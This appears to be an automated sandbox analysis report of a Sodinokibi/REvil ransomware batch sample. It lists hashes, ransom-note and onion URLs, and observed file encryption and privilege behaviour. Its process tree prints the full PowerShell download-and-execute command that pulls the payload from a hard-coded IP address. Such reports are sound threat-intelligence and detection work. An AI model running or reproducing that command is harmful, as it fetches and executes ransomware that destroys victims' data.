Analysis
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max time kernel
51s -
max time network
70s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
21-08-2020 23:10
Static task
static1
Behavioral task
behavioral1
Sample
59757318723e5bcf0dc7acb1e50a016f.bat
Resource
win7v200722
Behavioral task
behavioral2
Sample
59757318723e5bcf0dc7acb1e50a016f.bat
Resource
win10v200722
General
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Target
59757318723e5bcf0dc7acb1e50a016f.bat
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Size
220B
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MD5
3ce440975e6a9f2c1b282370f89d2c24
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SHA1
78649de7adceedaf9701fee3ae23b048df1ae0fb
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SHA256
32fd1da6b6ea751505cb7a81d90fc2f0925a62a78c917262e96fee968b627474
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SHA512
179853fc7cb0339b71778d815c0c2834027bc942a70a832149ce62ce0bd05f99222032affe9c07e01542071dc2ca11343d45ee29945bc6d19cee9d4679953188
Malware Config
Extracted
http://185.103.242.78/pastes/59757318723e5bcf0dc7acb1e50a016f
Extracted
C:\4u3501oc6-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/5775F44007633814
http://decryptor.cc/5775F44007633814
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 3 1056 powershell.exe -
Modifies extensions of user files 14 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
powershell.exedescription ioc process File opened for modification \??\c:\users\admin\pictures\InitializeConvert.tiff powershell.exe File renamed C:\Users\Admin\Pictures\InitializeConvert.tiff => \??\c:\users\admin\pictures\InitializeConvert.tiff.4u3501oc6 powershell.exe File renamed C:\Users\Admin\Pictures\GetFind.png => \??\c:\users\admin\pictures\GetFind.png.4u3501oc6 powershell.exe File renamed C:\Users\Admin\Pictures\RepairSearch.crw => \??\c:\users\admin\pictures\RepairSearch.crw.4u3501oc6 powershell.exe File renamed C:\Users\Admin\Pictures\SwitchRestart.tif => \??\c:\users\admin\pictures\SwitchRestart.tif.4u3501oc6 powershell.exe File renamed C:\Users\Admin\Pictures\ReadRegister.tiff => \??\c:\users\admin\pictures\ReadRegister.tiff.4u3501oc6 powershell.exe File renamed C:\Users\Admin\Pictures\RenameTest.raw => \??\c:\users\admin\pictures\RenameTest.raw.4u3501oc6 powershell.exe File opened for modification \??\c:\users\admin\pictures\ReadRegister.tiff powershell.exe File renamed C:\Users\Admin\Pictures\GrantFind.png => \??\c:\users\admin\pictures\GrantFind.png.4u3501oc6 powershell.exe File renamed C:\Users\Admin\Pictures\ResumeSync.crw => \??\c:\users\admin\pictures\ResumeSync.crw.4u3501oc6 powershell.exe File renamed C:\Users\Admin\Pictures\TraceStop.raw => \??\c:\users\admin\pictures\TraceStop.raw.4u3501oc6 powershell.exe File renamed C:\Users\Admin\Pictures\WatchHide.tif => \??\c:\users\admin\pictures\WatchHide.tif.4u3501oc6 powershell.exe File renamed C:\Users\Admin\Pictures\OutInitialize.crw => \??\c:\users\admin\pictures\OutInitialize.crw.4u3501oc6 powershell.exe File renamed C:\Users\Admin\Pictures\SyncOpen.png => \??\c:\users\admin\pictures\SyncOpen.png.4u3501oc6 powershell.exe -
Enumerates connected drives 3 TTPs
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Modifies service 2 TTPs 5 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\g0132pzv9a.bmp" powershell.exe -
Drops file in Program Files directory 18 IoCs
Processes:
powershell.exedescription ioc process File opened for modification \??\c:\program files\WaitRestart.potm powershell.exe File created \??\c:\program files\microsoft sql server compact edition\v3.5\desktop\4u3501oc6-readme.txt powershell.exe File opened for modification \??\c:\program files\CompareMeasure.mov powershell.exe File opened for modification \??\c:\program files\ExpandHide.mpp powershell.exe File opened for modification \??\c:\program files\FormatHide.shtml powershell.exe File opened for modification \??\c:\program files\SearchWait.ADTS powershell.exe File opened for modification \??\c:\program files\SyncUnlock.3gp powershell.exe File created \??\c:\program files\microsoft sql server compact edition\v3.5\4u3501oc6-readme.txt powershell.exe File created \??\c:\program files\4u3501oc6-readme.txt powershell.exe File created \??\c:\program files (x86)\4u3501oc6-readme.txt powershell.exe File opened for modification \??\c:\program files\SuspendRepair.xltx powershell.exe File opened for modification \??\c:\program files\SelectUpdate.m1v powershell.exe File opened for modification \??\c:\program files\UnlockJoin.wm powershell.exe File opened for modification \??\c:\program files\BackupOptimize.png powershell.exe File opened for modification \??\c:\program files\BackupStep.css powershell.exe File opened for modification \??\c:\program files\ClearResume.xltx powershell.exe File opened for modification \??\c:\program files\ConvertMove.raw powershell.exe File created \??\c:\program files\microsoft sql server compact edition\4u3501oc6-readme.txt powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 1056 powershell.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1056 powershell.exe 1056 powershell.exe 1056 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1056 powershell.exe Token: SeDebugPrivilege 1056 powershell.exe Token: SeTakeOwnershipPrivilege 1056 powershell.exe Token: SeBackupPrivilege 1980 vssvc.exe Token: SeRestorePrivilege 1980 vssvc.exe Token: SeAuditPrivilege 1980 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 1064 wrote to memory of 1056 1064 cmd.exe powershell.exe PID 1064 wrote to memory of 1056 1064 cmd.exe powershell.exe PID 1064 wrote to memory of 1056 1064 cmd.exe powershell.exe PID 1064 wrote to memory of 1056 1064 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\59757318723e5bcf0dc7acb1e50a016f.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1064 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/59757318723e5bcf0dc7acb1e50a016f');Invoke-CIGRXCCUEVHBH;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1056
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1980